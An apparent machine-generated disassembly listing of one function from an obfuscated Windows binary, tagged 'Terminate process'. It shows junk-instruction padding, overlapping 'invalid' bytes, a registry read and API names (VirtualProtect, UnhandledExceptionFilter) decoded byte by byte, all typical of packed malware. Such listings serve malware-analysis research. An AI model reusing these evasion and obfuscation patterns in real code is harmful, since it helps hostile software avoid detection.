Function at 0x4348b5
Capabilities:
Terminate process

Disassembly:
add esp, 4
jns 0x431555
pushf
jl 0x431544
sub edx, 0
popf
lea esp, [esp]
xchg ecx, esi
xchg ecx, esi
jp 0x431552
js 0x431555
mov ebx, 0xfe2b85c6
invalid
mov byte [ebp - 0x1d5], 0x78
xchg ecx, ebx
xchg ecx, ebx
add edi, 0
test edi, 0x35ff
and esp, 0xffffffff
jp 0x43157d
pushf
and esp, 0xffffffff
test dword [esp], edx
popf
lea eax, [eax]
jnp 0x43157d
mov esi, 0xfe1585c6
invalid
mov byte [ebp - 0x1eb], 0x45
sub esp, 0
xchg edi, edi
js 0x43159b
pushf
sub ecx, 0
popf
lea esp, [esp]
nop
ja 0x431598
jns 0x43159b
add eax, 0xfe2185c6
invalid
mov byte [ebp - 0x1df], 0x54
cmc
or edx, edx
shl esp, 0
je 0x4315bb
pushf
or edi, edi
jg 0x4315b0
popf
jo 0x4315b4
xchg edi, edi
mov edi, edi
jne 0x4315bb
add esi, 0xfffe2985
call dword [esi - 0x7d]
ret
mov byte [ebp - 0x1d7], 0x56
add ebx, 0
nop
cld
jge 0x4315d9
pushf
nop
mov ecx, ecx
popf
jnp 0x4315d2
ja 0x4315d4
jne 0x4315d6
jl 0x4315d9
sub eax, 0xfe2785c6
invalid
mov byte [ebp - 0x1d9], 0x4f
jp 0x4315e2
and eax, eax
jnp 0x4315f4
pushf
lea esp, [esp]
lea ebx, [ebx]
popf
jnp 0x4315f1
jp 0x4315f4
mov ecx, 0xfe2085c6
invalid
mov byte [ebp - 0x1e0], 0x47
add ecx, dword [esp]
sub ecx, dword [esp]
or eax, 0
jns 0x431606
jge 0x431611
jg 0x43160a
jge 0x43160c
jo 0x43160e
jl 0x431611
mov esi, 0xfe358d8a
invalid
mov cl, byte [ebp - 0x1cb]
sub cl, 4
mov byte [ebp - 0x1cb], cl
xchg ebx, edi
xchg ebx, edi
nop
shr eax, 0
jnp 0x43163d
pushf
xor edi, dword [esp + 0xc]
xor edi, dword [esp + 0xc]
jl 0x431636
popf
je 0x43163a
jp 0x43163d
call 0xfe72abcb
invalid
mov dl, byte [ebp - 0x1d1]
sub dl, 2
mov byte [ebp - 0x1d1], dl
sub esp, 0
jb 0x431651
lea edi, [edi + 0x1c5f]
lea edi, [edi - 0x1c5f]
jo 0x431667
mov ebx, ebx
mov esp, esp
jno 0x431667
add eax, 0x36858a84
invalid
mov al, byte [ebp - 0x1ca]
sub al, 2
mov byte [ebp - 0x1ca], al
shr eax, 0
call 0x43167d
lea esp, [esp + 4]
std
cld
jne 0x43169f
pushf
or esp, 0
lea ebx, [ebx + 0x45ff]
lea ebx, [ebx - 0x45ff]
popf
mov esi, esi
jp 0x43169c
je 0x43169f
add eax, 0xfe1c8d8a
invalid
mov cl, byte [ebp - 0x1e4]
sub cl, 2
mov byte [ebp - 0x1e4], cl
call 0x4316b3
lea esp, [esp + 4]
rol edx, 0
jno 0x4316bc
jbe 0x4316c4
xchg edx, eax
xchg edx, eax
ja 0x4316c4
mov edi, 0x22958acc
invalid
mov dl, byte [ebp - 0x1de]
sub dl, 4
mov byte [ebp - 0x1de], dl
cmp ebx, dword [esp + 4]
or ebx, 0
not eax
not eax
js 0x4316ee
je 0x4316e2
lea ebx, [ebx]
js 0x4316e6
xchg ecx, ebx
xchg ecx, ebx
jns 0x4316ee
mov eax, 0x29858a55
invalid
mov al, byte [ebp - 0x1d7]
sub al, 3
mov byte [ebp - 0x1d7], al
shl esp, 0
mov esp, esp
call 0x431706
lea esp, [esp + 4]
jp 0x431720
lea esi, [esi + 0x3bca]
lea esi, [esi - 0x3bca]
je 0x43171a
jns 0x43171c
jnp 0x431720
ljmp 0xfffe:0x348d8a65
mov cl, byte [ebp - 0x1cc]
sub cl, 3
mov byte [ebp - 0x1cc], cl
test dword [esp + 0xc], ebx
xchg esp, esp
jmp 0x431737
js 0x43173e
ja 0x43173b
jns 0x43173e
jmp 0xfe76accc
mov dl, byte [ebp - 0x1cd]
sub dl, 4
mov byte [ebp - 0x1cd], dl
lea edx, [edx + 0x3472]
lea edx, [edx - 0x3472]
add edi, 0x1791
sub edi, 0x1791
and edi, edi
push edx
add edx, 0x3b13
ror edx, 0x10
pop edx
jae 0x431782
jae 0x431776
je 0x431778
jl 0x43177a
xchg esi, edx
xchg esi, edx
jb 0x431782
jmp 0x15c8a19d
mov al, byte [ebp - 0x1eb]
sub al, 4
mov byte [ebp - 0x1eb], al
rol esp, 0
ror eax, 0x1d
rol eax, 0x1d
jae 0x4317a8
pushf
test edx, esi
popf
jns 0x4317a3
jae 0x4317a5
jb 0x4317a8
mov ebx, 0xfe3c8d8a
invalid
mov cl, byte [ebp - 0x1c4]
sub cl, 2
mov byte [ebp - 0x1c4], cl
neg edx
neg edx
lea esi, [esi]
nop
jbe 0x4317d1
pushf
sub ecx, 0
ja 0x4317c7
popf
xchg edi, edi
js 0x4317cd
nop
ja 0x4317d1
add eax, 0xfe40958a
invalid
mov dl, byte [ebp - 0x1c0]
sub dl, 5
mov byte [ebp - 0x1c0], dl
lea esp, [esp]
jge 0x431805
pushf
lea esi, [esi]
ror ebx, 0x19
rol ebx, 0x19
clc
popf
mov esp, esp
jg 0x4317f6
lea ebx, [ebx + 0x6117]
lea ebx, [ebx - 0x6117]
jl 0x431805
ljmp 0xffff:0xfe26858a
mov al, byte [ebp - 0x1da]
sub al, 4
mov byte [ebp - 0x1da], al
test dword [esp], esi
je 0x431818
je 0x43182c
pushf
js 0x43181e
je 0x431820
lea esi, [esi]
popf
lea esp, [esp]
jp 0x431829
jne 0x43182c
jmp 0xfe67a5ba
mov cl, byte [ebp - 0x1dc]
sub cl, 4
mov byte [ebp - 0x1dc], cl
or ecx, ecx
call 0x431842
add esp, 4
call 0x43184a
add esp, 4
jae 0x43186e
pushf
std
cld
ja 0x431855
xor edx, 0
test esi, edx
popf
jne 0x43185e
nop
lea edi, [edi + 0x764d]
lea edi, [edi - 0x764d]
jb 0x43186e
mov edx, 0xfe1f958a
invalid
mov dl, byte [ebp - 0x1e1]
sub dl, 2
mov byte [ebp - 0x1e1], dl
cmp esi, edx
je 0x431881
ja 0x431883
xor ebx, dword [esp]
xor ebx, dword [esp]
je 0x431899
jns 0x43188d
lea edx, [edx]
jne 0x431891
lea esp, [esp]
jne 0x431899
lcall 0xfe28, 0x858aa3b4
invalid
mov al, byte [ebp - 0x1d8]
sub al, 5
mov byte [ebp - 0x1d8], al
xchg edi, esi
xchg edi, esi
jno 0x4318ad
test esp, 0x6dc2
jb 0x4318d1
pushf
not ecx
not ecx
add edx, dword [esp]
sub edx, dword [esp]
add edx, 0
jg 0x4318c6
popf
jg 0x4318ca
jle 0x4318cc
jmp 0x4318ce
jae 0x4318d1
mov edx, 0xfe328d8a
invalid
mov cl, byte [ebp - 0x1ce]
sub cl, 5
mov byte [ebp - 0x1ce], cl
cmp esi, 0x518
xchg ebx, ebx
jo 0x4318f0
lea ecx, [ecx]
nop
jno 0x4318f0
mov esp, 0xfe1a958a
invalid
mov dl, byte [ebp - 0x1e6]
sub dl, 4
mov byte [ebp - 0x1e6], dl
call 0x431904
add esp, 4
jo 0x431909
jbe 0x431910
ja 0x43190d
ja 0x431910
xor eax, 0xfe30858a
invalid
mov al, byte [ebp - 0x1d0]
sub al, 4
mov byte [ebp - 0x1d0], al
shr esp, 0
jb 0x431923
dec edx
inc edx
xor edi, 0x6bc4
xor edi, 0x6bc4
je 0x43194b
pushf
ja 0x431937
cmp esi, 0x5d37
sub edi, 0
jle 0x431942
popf
lea esi, [esi]
xchg esp, esp
jne 0x43194b
call 0xfe80a6d9
invalid
mov cl, byte [ebp - 0x1c3]
sub cl, 4
mov byte [ebp - 0x1c3], cl
js 0x43195c
jge 0x43195e
rol edx, 0x1d
ror edx, 0x1d
jge 0x431972
jae 0x431968
lea edi, [edi]
jae 0x43196c
jb 0x43196e
jl 0x431972
call 0x3bd8a3e9
invalid
mov dl, byte [ebp - 0x1c5]
sub dl, 3
mov byte [ebp - 0x1c5], dl
rol edi, 0xe
ror edi, 0xe
cmc
cmp edi, edx
mov esp, esp
je 0x431994
jle 0x431990
jne 0x431994
lcall 0xfffe, 0x3e858a3f
jmp [eax - 0x1c17a78]
mov al, byte [ebp - 0x1c2]
sub al, 5
mov byte [ebp - 0x1c2], al
test esp, 0x742d
xchg edx, edx
jp 0x4319c9
pushf
inc esi
dec esi
dec eax
inc eax
jae 0x4319b4
popf
jno 0x4319b8
jg 0x4319ba
lea eax, [eax + 0x3459]
lea eax, [eax - 0x3459]
jnp 0x4319c9
ljmp 0xffff:0xfe198d8a
mov cl, byte [ebp - 0x1e7]
sub cl, 2
mov byte [ebp - 0x1e7], cl
rol ecx, 0
nop
ror eax, 0x1d
ror eax, 3
add eax, 0
je 0x431a00
pushf
lea esi, [esi + 0x301]
lea esi, [esi - 0x301]
neg esi
neg esi
popf
lea esi, [esi]
jne 0x431a00
add eax, 0xfe3f958a
invalid
mov dl, byte [ebp - 0x1c1]
sub dl, 3
mov byte [ebp - 0x1c1], dl
or edi, edi
ror esp, 0
add edx, 0
jbe 0x431a22
lea edi, [edi]
jbe 0x431a1d
jmp 0x431a1f
ja 0x431a22
mov esp, 0xfe14858a
invalid
mov al, byte [ebp - 0x1ec]
sub al, 4
mov byte [ebp - 0x1ec], al
xor edi, 0
push edi
pop edi
xchg esp, esp
js 0x431a43
js 0x431a3b
xchg ecx, ecx
mov esp, esp
jns 0x431a43
mov ecx, 0x168d8a42
invalid
mov cl, byte [ebp - 0x1ea]
sub cl, 3
mov byte [ebp - 0x1ea], cl
xor ebx, 0
rol esp, 0
add edx, dword [esp]
sub edx, dword [esp]
jno 0x431a68
je 0x431a62
js 0x431a64
jo 0x431a68
add eax, 0x2e958a8e
invalid
mov dl, byte [ebp - 0x1d2]
sub dl, 3
mov byte [ebp - 0x1d2], dl
jl 0x431a79
jns 0x431a82
xchg esp, esp
xchg ecx, ecx
js 0x431a82
mov esi, 0xfe2a858a
invalid
mov al, byte [ebp - 0x1d6]
sub al, 4
mov byte [ebp - 0x1d6], al
jbe 0x431a92
lea esp, [esp]
sub esp, 0
mov edi, edi
jge 0x431aa5
jb 0x431a9e
jle 0x431aa0
jl 0x431aa5
ljmp 0xfe3a:0x8d8a0fb3
mov cl, byte [ebp - 0x1c6]
sub cl, 1
mov byte [ebp - 0x1c6], cl
jnp 0x431ab6
jae 0x431ac6
pushf
and esp, 0xffffffff
jns 0x431abf
popf
je 0x431ac3
jb 0x431ac6
mov ecx, 0xfe2c958a
invalid
mov dl, byte [ebp - 0x1d4]
sub dl, 3
mov byte [ebp - 0x1d4], dl
test dword [esp + 0xc], edx
jns 0x431af1
pushf
xchg edi, edi
ror esp, 0
test edx, 0x2a54
mov esi, esi
popf
jg 0x431aee
js 0x431af1
mov esi, 0xfe41858a
invalid
mov al, byte [ebp - 0x1bf]
sub al, 2
mov byte [ebp - 0x1bf], al
xor ecx, edi
xor ecx, edi
cmc
jae 0x431b17
pushf
add esp, 0
rol eax, 0
jbe 0x431b10
popf
jge 0x431b14
jb 0x431b17
or dword [edx - 0x1d473], 0x5e980ff
mov cl, byte [ebp - 0x1d5]
sub cl, 5
mov byte [ebp - 0x1d5], cl
ror esp, 0
jp 0x431b30
jno 0x431b2d
jnp 0x431b30
call 0xfe64b0be
invalid
mov dl, byte [ebp - 0x1df]
sub dl, 2
mov byte [ebp - 0x1df], dl
mov eax, eax
cmp ebx, dword [esp]
jg 0x431b54
pushf
jnp 0x431b4a
xchg ecx, ecx
dec eax
inc eax
popf
nop
jle 0x431b54
add eax, 0xfe1b858a
invalid
mov al, byte [ebp - 0x1e5]
sub al, 3
mov byte [ebp - 0x1e5], al
ror esi, 9
rol esi, 9
or esp, 0
jnp 0x431b79
js 0x431b6f
ja 0x431b71
xchg esp, esp
jo 0x431b75
jp 0x431b79
add eax, 0x178d8a68
invalid
mov cl, byte [ebp - 0x1e9]
sub cl, 4
mov byte [ebp - 0x1e9], cl
test ecx, 0x5728
js 0x431b9e
jb 0x431b92
xchg esp, esp
jnp 0x431b96
xchg edi, esi
xchg edi, esi
jns 0x431b9e
mov ebp, 0x1d958aa4
invalid
mov dl, byte [ebp - 0x1e3]
sub dl, 2
mov byte [ebp - 0x1e3], dl
push edi
add edi, 0x3d8
ror edi, 0x18
pop edi
or edi, 0
add edi, 0
push edx
add edx, 0xa03
ror edx, 5
pop edx
jns 0x431bdc
pushf
jne 0x431bcf
xchg ecx, eax
xchg ecx, eax
popf
xchg edx, eax
xchg edx, eax
jne 0x431bd7
jge 0x431bd9
js 0x431bdc
add eax, 0xfe2d858a
invalid
mov al, byte [ebp - 0x1d3]
sub al, 1
mov byte [ebp - 0x1d3], al
xchg ebx, ecx
xchg ebx, ecx
rol edi, 0
jbe 0x431bf3
ja 0x431c06
pushf
xchg edi, edi
jge 0x431bfb
popf
ja 0x431bff
lea esi, [esi]
jns 0x431c03
jbe 0x431c06
jmp 0xfe68a994
mov cl, byte [ebp - 0x1db]
sub cl, 4
mov byte [ebp - 0x1db], cl
call 0x431c1a
lea esp, [esp + 4]
xor ebx, 0x7988
xor ebx, 0x7988
jmp 0x431c2c
jb 0x431c35
xchg ebx, ebx
jo 0x431c32
jae 0x431c35
mov edi, 0xfe20958a
invalid
mov dl, byte [ebp - 0x1e0]
sub dl, 4
mov byte [ebp - 0x1e0], dl
shl esp, 0
ja 0x431c49
xchg esp, esp
xchg esi, esi
jo 0x431c6b
pushf
lea ecx, [ecx + 0x6646]
lea ecx, [ecx - 0x6646]
xchg esp, esp
popf
mov eax, eax
lea esp, [esp]
jg 0x431c68
jno 0x431c6b
mov esp, 0xfe39858a
invalid
mov al, byte [ebp - 0x1c7]
sub al, 1
mov byte [ebp - 0x1c7], al
shl eax, 0
jbe 0x431c7e
jmp 0x431c80
xchg esi, eax
xchg esi, eax
jle 0x431c8c
mov eax, eax
mov esi, esi
jg 0x431c8c
mov ebx, 0x238d8ab0
invalid
mov cl, byte [ebp - 0x1dd]
sub cl, 5
mov byte [ebp - 0x1dd], cl
xor eax, dword [esp]
xor eax, dword [esp]
jb 0x431ca9
jp 0x431ca5
jae 0x431ca9
and dword [esi - 0x1e16a76], 0xea80ffff
add al, 0x88
xchg ebp, eax
push ds
invalid
mov dl, byte [ebp - 0x1e2]
sub dl, 4
mov byte [ebp - 0x1e2], dl
ror esi, 0
jle 0x431cbd
inc edx
dec edx
jno 0x431cde
pushf
call 0x431cc8
lea esp, [esp + 4]
lea eax, [eax]
lea esi, [esi]
dec edx
inc edx
popf
xchg edx, edx
jbe 0x431cd8
lea esp, [esp]
jo 0x431cde
mov eax, 0xfe37858a
invalid
mov al, byte [ebp - 0x1c9]
sub al, 4
mov byte [ebp - 0x1c9], al
and esi, esi
and eax, eax
jno 0x431d0a
pushf
test esp, 0x1b15
cmp edx, edi
xor ecx, 0
popf
jns 0x431d03
mov ecx, ecx
mov ecx, ecx
jo 0x431d0a
mov ebx, 0xfe278d8a
invalid
mov cl, byte [ebp - 0x1d9]
sub cl, 1
mov byte [ebp - 0x1d9], cl
and edi, edi
jne 0x431d25
lea ecx, [ecx]
jnp 0x431d21
je 0x431d25
lcall 0xfffe, 0x38958a79
inc dword [eax - 0x6a77fb16]
cmp dh, bh
invalid
mov dl, byte [ebp - 0x1c8]
sub dl, 4
mov byte [ebp - 0x1c8], dl
neg eax
neg eax
jae 0x431d56
pushf
rol esp, 0
lea ebx, [ebx + 0x5694]
sub ebx, 0x5694
xor edi, ecx
xor edi, ecx
popf
mov ecx, ecx
jb 0x431d56
add eax, 0xfe18858a
invalid
mov al, byte [ebp - 0x1e8]
sub al, 3
mov byte [ebp - 0x1e8], al
cmp eax, dword [esp]
rol esp, 0
shl edi, 0
jge 0x431d7b
xchg ebx, ebx
je 0x431d73
jb 0x431d75
jne 0x431d77
jl 0x431d7b
mov edi, 0x318d8a72
invalid
mov cl, byte [ebp - 0x1cf]
sub cl, 2
mov byte [ebp - 0x1cf], cl
test esp, 0x7d1
lea eax, [eax]
je 0x431da1
lea esi, [esi]
xchg ecx, edx
xchg ecx, edx
nop
lea edi, [edi]
jne 0x431da1
xor eax, 0x6a056af4
add byte [ebp - 0x1af6b], cl
call dword [edx - 0x18]
sbb al, 0xd7
add dword [eax], eax
push 5
push 0
lea edx, [ebp - 0x1b0]
push edx
call fcn.0044f4cd
add esp, 0xc
mov ebx, ebx
jg 0x431dca
mov edi, edi
lea ebx, [ebx + 0x128]
lea ebx, [ebx - 0x128]
jle 0x431dca
mov edi, 0x5085c6ad
invalid
mov byte [ebp - 0x1b0], 0x81
lea esi, [esi]
lea eax, [eax]
jbe 0x431de1
xchg esi, edi
xchg esi, edi
jnp 0x431ddd
ja 0x431de1
mov eax, 0x5385c6e8
invalid
mov byte [ebp - 0x1ad], 0x7c
shr edi, 0
jp 0x431df4
jno 0x431def
jnp 0x431df4
mov esp, 0x85c6b070
push ecx
invalid
mov byte [ebp - 0x1af], 0x4e
lea ebx, [ebx]
or edx, 0
ja 0x431e22
pushf
or edx, 0
mov eax, eax
inc edi
dec edi
add edx, 0x7a6f
sub edx, 0x7a6f
popf
mov esp, esp
xchg esp, esp
xchg edx, edx
jbe 0x431e22
mov edi, 0xfe5285c6
invalid
mov byte [ebp - 0x1ae], 0x4b
or ecx, 0
jg 0x431e2e
jl 0x431e44
pushf
ror esp, 0
lea esp, [esp]
jns 0x431e3a
lea esp, [esp]
popf
jb 0x431e41
jge 0x431e44
jmp 0xfe94a3d2
mov al, byte [ebp - 0x1af]
sub al, 1
mov byte [ebp - 0x1af], al
je 0x431e54
xor esp, 0
jns 0x431e59
jne 0x431e74
pushf
jo 0x431e5f
popf
mov esi, esi
lea edi, [edi + 0x5574]
lea edi, [edi - 0x5574]
jg 0x431e71
je 0x431e74
mov esp, 0xfe508d8a
invalid
mov cl, byte [ebp - 0x1b0]
sub cl, 3
mov byte [ebp - 0x1b0], cl
jb 0x431e85
jle 0x431e9a
xchg edi, ecx
xchg edi, ecx
lea ecx, [ecx + 0x1745]
lea ecx, [ecx - 0x1745]
jg 0x431e9a
mov esp, 0xfe52958a
invalid
mov dl, byte [ebp - 0x1ae]
sub dl, 3
mov byte [ebp - 0x1ae], dl
jl 0x431eab
stc
push edx
add edx, 0x5c84
ror edx, 0x13
pop edx
je 0x431ec0
jle 0x431ebb
xchg esp, esp
jne 0x431ec0
mov edi, 0xfe53858a
invalid
mov al, byte [ebp - 0x1ad]
sub al, 2
mov byte [ebp - 0x1ad], al
lea ecx, [ebp - 0x1b4]
push ecx
push 1
push 0
lea edx, [ebp - 0x1ec]
push edx
push 0x80000002
call fcn.0042c2b3
test eax, eax
jne 0x431f58
cmp dword [ebp - 0x1b4], 0
je 0x431f58
lea eax, [ebp - 0x1bc]
push eax
lea ecx, [ebp - 0x298]
push ecx
lea edx, [ebp - 0x1a8]
push edx
push 0
lea eax, [ebp - 0x1b0]
push eax
mov ecx, dword [ebp - 0x1b4]
push ecx
call fcn.0042e73a
test eax, eax
jne 0x431f4c
cmp dword [ebp - 0x1a8], 4
jne 0x431f4c
cmp dword [ebp - 0x298], 0
jbe 0x431f4c
cmp dword [ebp - 0x1bc], 4
jne 0x431f4c
mov edx, dword [ebp - 0x298]
mov dword [0x421fc8], edx
mov eax, dword [ebp - 0x1b4]
push eax
call fcn.0044fd30
push 0x2f
push 0
lea ecx, [ebp - 0x1ec]
push ecx
call fcn.0044f4cd
add esp, 0xc
push 5
push 0
lea edx, [ebp - 0x1b0]
push edx
call fcn.0044f4cd
add esp, 0xc
sub esp, 0
ja 0x431f83
xor edi, dword [esp]
xor edi, dword [esp]
ja 0x431f94
jb 0x431f8d
jb 0x431f8f
mov eax, eax
jbe 0x431f94
mov edx, 0x428a10a1
add byte [ebx + 0x4217dc], ah
mov eax, dword [0x428a10]
mov dword [0x4217dc], eax
xor edx, 0x2a37
xor edx, 0x2a37
cmp esi, dword [esp + 0xc]
ror esi, 0
ror edx, 1
rol edx, 1
jl 0x431fc0
jne 0x431fb9
xchg ecx, eax
xchg ecx, eax
jns 0x431fbd
jge 0x431fc0
mov esp, 0x293e5e8
add byte [ebx + 0x4220c0], ah
call fcn.0045b3aa
mov dword [0x4220c0], eax
push ecx
pop ecx
jnp 0x431fce
xchg esi, esi
xor eax, dword [esp + 0x10]
xor eax, dword [esp + 0x10]
jg 0x431fe4
jb 0x431fdc
xchg esp, esp
jl 0x431fe0
jle 0x431fe4
add dword [ecx + 0x215c0e8], 0x17e4a300
inc edx
add al, ch
jo 0x432058
call 0x4535a9
mov dword [0x4217e4], eax
call 0x448763
add dword [eax], eax
mov dword [0x421ffc], eax
cmp dword [0x428a10], 0x80000000
jae 0x4322b3
clc
jle 0x43200b
jge 0x43200d
jp 0x43202a
pushf
xor esi, 0
jb 0x432016
cmc
popf
lea ebx, [ebx + 0x449d]
lea ebx, [ebx - 0x449d]
mov edi, edi
jnp 0x43202a
xor eax, 0x88083d83
inc edx
add byte [eax], al
cmp dword [0x428808], 0
je 0x4322b3
dec esi
inc esi
jo 0x43203b
jmp 0x43203d
call 0x432042
lea esp, [esp + 4]
jne 0x43205a
pushf
and ecx, ecx
sub ebx, 0
popf
jg 0x432053
xchg esp, esp
jmp 0x432057
je 0x43205a
add dword [ecx + 0x6fac05c6], edi
mov ecx, 0x6fac05c6
mov byte [0x426fac], 0x56
mov byte [0x426fad], 0x6f
inc edx
add byte [esi - 0x3a], dl
add eax, 0x426fad
outsd dx, dword [esi]
mov byte [0x426fae], 0x69
mov byte [0x426faf], 0x62
mov byte [0x426fb0], 0x6f
mov byte [0x426fb1], 0x65
mov byte [0x426fb2], 0x6d
mov byte [0x426fb3], 0x66
mov byte [0x426fb4], 0x65
mov byte [0x426fb5], 0x46
mov byte [0x426fb6], 0x79
mov byte [0x426fb7], 0x64
mov byte [0x426fb8], 0x66
mov byte [0x426fb9], 0x71
mov byte [0x426fba], 0x75
mov byte [0x426fbb], 0x6a
mov byte [0x426fbc], 0x70
mov byte [0x426fbd], 0x6f
mov byte [0x426fbe], 0x47
mov byte [0x426fbf], 0x6a
mov byte [0x426fc0], 0x6d
mov byte [0x426fc1], 0x75
mov byte [0x426fc2], 0x66
mov byte [0x426fc3], 0x73
mov byte [0x426fc4], 0
jl 0x43210b
lea edx, [edx]
push edx
add edx, 0x2084
ror edx, 0x1d
pop edx
mov esp, esp
jbe 0x432123
jne 0x43211e
jo 0x432120
ja 0x432123
mov eax, 0x6fac0d8a
inc edx
add byte [eax + 0xd8801e9], al
lodsb al, byte [esi]
outsd dx, dword [esi]
inc edx
add byte [edx + 0x426fad15], cl
add byte [eax + 0x158801ea], al
lodsd eax, dword [esi]
outsd dx, dword [esi]
inc edx
add byte [eax + 0x426fae], ah
mov cl, byte [0x426fac]
sub cl, 1
mov byte [0x426fac], cl
mov dl, byte [0x426fad]
sub dl, 1
mov byte [0x426fad], dl
mov al, byte [0x426fae]
sub al, 1
mov byte [0x426fae], al
mov cl, byte [0x426faf]
sub cl, 1
mov byte [0x426faf], cl
mov dl, byte [0x426fb0]
sub dl, 1
mov byte [0x426fb0], dl
mov al, byte [0x426fb1]
sub al, 1
mov byte [0x426fb1], al
mov cl, byte [0x426fb2]
sub cl, 1
mov byte [0x426fb2], cl
mov dl, byte [0x426fb3]
sub dl, 1
mov byte [0x426fb3], dl
mov al, byte [0x426fb4]
sub al, 1
mov byte [0x426fb4], al
mov cl, byte [0x426fb5]
sub cl, 1
mov byte [0x426fb5], cl
mov dl, byte [0x426fb6]
sub dl, 1
mov byte [0x426fb6], dl
mov al, byte [0x426fb7]
sub al, 1
mov byte [0x426fb7], al
mov cl, byte [0x426fb8]
sub cl, 1
mov byte [0x426fb8], cl
mov dl, byte [0x426fb9]
sub dl, 1
mov byte [0x426fb9], dl
mov al, byte [0x426fba]
sub al, 1
mov byte [0x426fba], al
mov cl, byte [0x426fbb]
sub cl, 1
mov byte [0x426fbb], cl
mov dl, byte [0x426fbc]
sub dl, 1
mov byte [0x426fbc], dl
mov al, byte [0x426fbd]
sub al, 1
mov byte [0x426fbd], al
mov cl, byte [0x426fbe]
sub cl, 1
mov byte [0x426fbe], cl
mov dl, byte [0x426fbf]
sub dl, 1
mov byte [0x426fbf], dl
mov al, byte [0x426fc0]
sub al, 1
mov byte [0x426fc0], al
mov cl, byte [0x426fc1]
sub cl, 1
mov byte [0x426fc1], cl
mov dl, byte [0x426fc2]
sub dl, 1
mov byte [0x426fc2], dl
mov al, byte [0x426fc3]
sub al, 1
mov byte [0x426fc3], al
neg edi
neg edi
sub esp, 0
lea edi, [edi]
jb 0x43229d
pushf
rol esp, 0
rol esi, 9
ror esi, 9
lea edx, [edx + 0x23d4]
lea edx, [edx - 0x23d4]
popf
js 0x432299
nop
jae 0x43229d
mov esi, 0x426fac68
add byte [ebx + 0x4288080d], cl
add byte [ecx - 0x18], dl
push cs
push eax
add byte [eax], al
push 0x426fac
mov ecx, dword [0x428808]
push ecx
call fcn.004372bc
add byte [ebx + 0x4283e8], ah
mov dword [0x4283e8], eax
cmp dword [0x428808], 0
je 0x432447
cmp eax, 0x428808
add byte [edi], cl
test byte [edi - 0x3effffff], al
ljmp 0x977
shr edx, 0
sub edx, 0
ja 0x4322d1
xchg edx, edx
xchg ebx, eax
xchg ebx, eax
jbe 0x4322d1
mov ecx, 0x5c6e26b
lodsb al, byte [esi]
outsd dx, dword [esi]
inc edx
add byte [edi - 0x3a], dl
add eax, 0x426fad
push 0xffffffffffffffc6
add eax, 0x426fae
jae 0x4322ad
mov byte [0x426fac], 0x57
mov byte [0x426fad], 0x6a
mov byte [0x426fae], 0x73
mov byte [0x426faf], 0x75
mov byte [0x426fb0], 0x76
mov byte [0x426fb1], 0x62
mov byte [0x426fb2], 0x6d
mov byte [0x426fb3], 0x51
mov byte [0x426fb4], 0x73
mov byte [0x426fb5], 0x70
mov byte [0x426fb6], 0x75
mov byte [0x426fb7], 0x66
mov byte [0x426fb8], 0x64
mov byte [0x426fb9], 0x75
mov byte [0x426fba], 0
test dword [esp + 0x10], ebx
rol esp, 0
mov esp, esp
jbe 0x43234c
add eax, 0x426faf
jne 0x4322b4
add eax, 0x426fb0
jbe 0x4322bb
add eax, 0x426fb1
invalid
lea ebx, [ebx]
lea edi, [edi]
ja 0x43234c
mov ebx, 0x6fac158a
inc edx
add byte [eax + 0x158801ea], al
lodsb al, byte [esi]
outsd dx, dword [esi]
inc edx
add byte [eax + 0x426fad], ah
mov dl, byte [0x426fac]
sub dl, 1
mov byte [0x426fac], dl
mov al, byte [0x426fad]
sub al, 1
mov byte [0x426fad], al
mov cl, byte [0x426fae]
sub cl, 1
mov byte [0x426fae], cl
mov dl, byte [0x426faf]
sub dl, 1
mov byte [0x426faf], dl
mov al, byte [0x426fb0]
sub al, 1
mov byte [0x426fb0], al
mov cl, byte [0x426fb1]
sub cl, 1
mov byte [0x426fb1], cl
mov dl, byte [0x426fb2]
sub dl, 1
mov byte [0x426fb2], dl
mov al, byte [0x426fb3]
sub al, 1
mov byte [0x426fb3], al
mov cl, byte [0x426fb4]
sub cl, 1
mov byte [0x426fb4], cl
mov dl, byte [0x426fb5]
sub dl, 1
mov byte [0x426fb5], dl
mov al, byte [0x426fb6]
sub al, 1
mov byte [0x426fb6], al
mov cl, byte [0x426fb7]
sub cl, 1
mov byte [0x426fb7], cl
mov dl, byte [0x426fb8]
sub dl, 1
mov byte [0x426fb8], dl
mov al, byte [0x426fb9]
sub al, 1
mov byte [0x426fb9], al
inc edx
dec edx
nop
ror esp, 0
add esi, 0
jg 0x432420
jno 0x43241c
jle 0x432420
mov ebp, 0x6fac68cd
inc edx
add byte [ebx + 0x4288080d], cl
add byte [ecx - 0x18], dl
mov ecx, dword [esi]
add byte [ebx + 0x421fe8], ah
push 0x426fac
mov ecx, dword [0x428808]
push ecx
call fcn.004372bc
mov dword [0x421fe8], eax
push 0x19
push 0
push 0x426fac
call fcn.0044f4cd
add esp, 0xc
mov edx, entry0
sub edx, dword [0x4180f4]
mov dword [0x426f58], edx
call fcn.0042f5ee
mov eax, dword [0x4283f8]
mov dword [0x421860], eax
cmp dword [0x4283f8], 1
jne 0x43247a
mov dword [0x4283d0], 1
cmp dword [0x41c5c8], 0
je 0x43286d
jno 0x432489
rol esp, 0
jo 0x432498
jbe 0x432490
jmp 0x432492
jp 0x432494
jno 0x432498
mov esi, 0x2d97e86b
add al, byte [eax]
call 0x455234
cmp eax, 0x11
jne 0x43254e
sub ecx, 0
jne 0x4324b7
jne 0x4324ad
lea esi, [esi]
jno 0x4324b1
jl 0x4324b3
je 0x4324b7
mov ebx, 0xa005c78a
mov al, byte [edx]
or eax, 0xc7000000
add eax, 0x428a34
sldt word [eax]
add ch, bh
mov dword [0x428aa0], 0xd
mov dword [0x428a34], 0xf
std
cld
cmp esp, 0x1f8c
lea esp, [esp]
js 0x4324ee
pushf
ror esi, 0
mov edx, edx
add edx, dword [esp]
sub edx, dword [esp]
popf
xchg edi, edi
xchg esp, esp
jns 0x4324ee
add edi, 0x426f9c05
add cl, cl
add eax, 0xb8500043
or byte [esi + 0x43], 0
mov dword [0x426f9c], entry0
push eax
mov eax, 0x434e80
mov dword [0x428a80], eax
pop eax
jns 0x432506
je 0x43251d
pushf
ror edi, 0
mov ebx, ebx
rol eax, 0
jge 0x432514
popf
xchg ebx, ebx
jnp 0x43251a
jne 0x43251d
lcall 0x42, 0x8a800d8b
mov ecx, dword [0x428a80]
sub ecx, dword [0x426f9c]
mov dword [0x428a80], ecx
jbe 0x432531
xchg esp, esp
ror ebx, 0x1f
rol ebx, 0x1f
jne 0x432549
pushf
mov eax, eax
popf
lea ebx, [ebx]
lea esi, [esi]
nop
je 0x432549
